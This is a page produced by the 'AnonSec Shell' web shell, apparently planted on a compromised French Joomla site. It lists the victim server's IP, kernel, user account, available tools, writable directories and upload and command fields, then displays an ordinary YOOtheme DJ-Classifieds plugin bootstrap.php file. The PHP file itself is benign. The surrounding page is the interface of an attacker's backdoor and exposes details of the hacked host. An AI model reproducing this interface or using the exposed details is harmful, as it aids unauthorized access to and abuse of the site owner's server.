AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice2/plugins/system/djclassifiedsyt/modules/form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice2/plugins/system/djclassifiedsyt/modules/form/bootstrap.php
<?php
/**
 * @package DJ-Classifieds-Yootheme
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

namespace YOOtheme;

// Initialize Joomla framework

use DJExtensions\YOOtheme\DJClassifieds\Form\Html\HtmlHelper;
use DJExtensions\YOOtheme\DJClassifieds\Form\Listener\FormListener;
use DJExtensions\YOOtheme\DJClassifieds\Form\Service\FormService;
use DJExtensions\YOOtheme\DJClassifieds\Form\Transform\ControlTransform;
use DJExtensions\YOOtheme\DJClassifieds\Form\Transform\FormTransform;
use YOOtheme\Str;

// No direct access to this file
defined('_JEXEC') or die;

return [
    'events' => [
        'customizer.init' => [
            FormListener::class => ['initCustomizer', 10]
        ],

        'builder.type' => [
            FormListener::class => ['addFormPanel', -10]
        ]
    ],
    'extend' => [
        Builder::class => function (Builder $builder, $app) {
            $builder->addTypePath(Path::get('./elements/*/element.json'));

            $builder->addTransform('prerender', $app(FormTransform::class));
            $builder->addTransform('render', new ControlTransform);

        },
        View::class => function (View $view) {
            $formHtmlHelper = app(HtmlHelper::class);
            $view['form'] = $formHtmlHelper;
        },

    ],
    'services' => [
        FormService::class => '',
    ],
];

Anon7 - 2022
AnonSec Team